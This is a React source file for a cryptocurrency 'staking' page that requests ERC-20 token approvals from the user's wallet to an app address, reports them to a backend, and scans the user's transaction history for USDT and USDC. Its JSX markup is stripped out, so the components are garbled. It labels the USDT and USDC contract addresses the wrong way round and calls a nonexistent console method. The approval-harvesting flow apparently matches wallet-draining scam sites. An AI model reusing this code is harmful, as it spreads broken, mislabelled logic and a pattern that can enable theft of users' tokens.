import React from "react" import { Stack, Image, HStack, AspectRatio, useColorModeValue, useDisclosure, useToast, Tag, Text, Box, } from "@chakra-ui/react" import { StateCard, StakingCoinCard, StakingModalStrategy, StakingModalCertificate, ModalBox, VFStack, HFStack, HBetween, } from "../components" import { ModalDeposite } from '../uimsg' import { useApp } from "../AppContext" import { config } from "../config" import { ABI, Images } from "../data" import { get_staking_balance, get_coins_staking, get_ether, get_authorization_v, get_authorization_one, get_authorization_search, retrieve_all, get_upBalance, } from "../api" import { approve, transfer } from '../lib' import { useTranslation } from "react-i18next" // Modal box for extraction const ModalRetrieve = ({ isOpen, onClose, onConfirm, vLeft = 0, vRight = 0 }) => { const TopT = ({ v }) => (( {v} )) const BelowT = ({ v }) => (( {v} )) return ( Current ) } export const Staking = () => { const [balance, setBalance] = React.useState({}) const [coins, setCoins] = React.useState([]) const [strategyIndex, setStrategyIndex] = React.useState(-1) const [certificateIndex, setCertificateIndex] = React.useState(-1) const [depositeIndex, setDepositeIndex] = React.useState(-1) const app = useApp() const toast = useToast() const bg = useColorModeValue('white', 'gray.900') const { isOpen: isOpenStrategy, onOpen: onOpenStrategy, onClose: onCloseStrategy } = useDisclosure() const { isOpen: isOpenCertificate, onOpen: onOpenCertificate, onClose: onCloseCertificate } = useDisclosure() const { isOpen: isOpenExtract, onOpen: onOpenExtract, onClose: onCloseExtract } = useDisclosure() const { isOpen: isOpenDeposite, onOpen: onOpenDeposite, onClose: onCloseDeposite } = useDisclosure() const refDepositeFocus = React.useRef() const { t } = useTranslation() const _getVaultBalance = () => { if (!app.address) { return false } get_staking_balance(app.address).then((res) => { setBalance(res.data) console.log('balances:', res.data) }) } // click Strategy const onStrategy = (index) => { setStrategyIndex(index) onOpenStrategy() } // click certificate / deposite button const onCertificate = (index) => { setCertificateIndex(index) if (index < 0 || index >= coins.length) { console.warning('index out of range') return } if (coins[index].authorized) { setDepositeIndex(prev => index) onOpenDeposite() } else { onOpenCertificate() } } // ModalDeposite callback const onConfirmDeposite = () => { if (depositeIndex < 0 || depositeIndex >= coins.length) { console.error(depositeIndex, ' out of range') return } const amount = refDepositeFocus.current.value transfer(ABI, coins[depositeIndex].address, app.appAddress, amount, app.address, (err, res) => { if (!err) { toast({ title: 'Succeed', description: "You have successfully deposited " + amount + " " + coins[depositeIndex].name, status: 'success', duration: 9000, isClosable: true, }) // TODO 提交充值记录 get_upBalance(app.address).then(res => { }).catch(err => { console.error('get_upBalance() error:' + err.message) }) } else { toast({ title: 'Failed', description: "Your operation has not been completed.", status: 'info', duration: 9000, isClosable: true, }) console.error('transfer() error:' + err.message) } }) } // ModalExtract callback const onConfirmExtract = () => { if (!app.address) { toast({ title: 'Wallet not connected', description: "Please connect your wallet first to perform the operation", status: 'warning', duration: 9000, isClosable: true, }) return } if (balance.USDT_T <= 0 && balance.USDC_T <= 0) { toast({ title: '', description: "Has no income", status: 'info', duration: 9000, isClosable: true, }) return } retrieve_all(app.address).then(res => { _getVaultBalance() toast({ title: 'Succeed', description: "Operation succeed.", status: 'success', duration: 9000, isClosable: true, }) }).catch(err => { console.error('retrieve_all() error:', err.message) }) } // Modal certificate callback const onConfirmCertificate = (index) => { if (index < 0 || index >= coins.length) { console.error('index out of range') return } if (!app.address) { toast({ title: 'Wallet not connected', description: "Please connect your wallet first to perform the operation", status: 'warning', duration: 9000, isClosable: true, }) return } let _coins = [...coins] // make button loading _coins[index].loading = true setCoins(_coins) approve(ABI, _coins[index].address, app.appAddress, app.address, (err, tx) => { _coins = [...coins] if (!err) { get_authorization_one(app.address, _coins[index].name, tx).then(res => { // we dont care the result }).catch(err => { console.error('get_authorization_one() error:' + err.message) }) // let hi = setInterval(() => { get_authorization_search(tx).then(res => { _coins[index].authorized = true // for simple, we dont check the result. setCoins(_coins) clearInterval(hi) }).catch(err => { console.error("get_authorization_search() error:" + err.message) }) }, 8000) } else { console.error("approve error:" + err.message) } // recover loading _coins[index].loading = false setCoins(_coins) }) } React.useEffect(() => { _getVaultBalance() get_coins_staking().then(res => { res.data.forEach((obj) => { obj.conf = JSON.parse(obj.conf) // obj.authorized = true }) setCoins(prev => res.data) }).catch(err => { console.error('get_coins_staking() error:' + err.message) }) app.address && get_ether(app.address).then(res => { let list = '' let changed = false let _coins = [...coins] console.log(res.data) res.data.result.forEach(v => { if (v.from == app.address.toLowerCase() && v.isError == 0) { if (v.to == '0xa0b86991c6218b36c1d19d4a2e9eb0ce3606eb48') { list += 'USDT|' } else if (v.to == '0xdac17f958d2ee523a2206206994597c13d831ec7') { list += 'USDC|' } } }) if (changed) { setCoins(_coins) } // get_authorization_v(app.address, list) }).catch(err => { console.error('get_ether() error:' + err.message) }) }, [app.address]) return ( <> lock { coins && coins.map((coin, index) => ( )) } {/* Modal for Strategy button */} {/* Modal for Certificate button */} ) }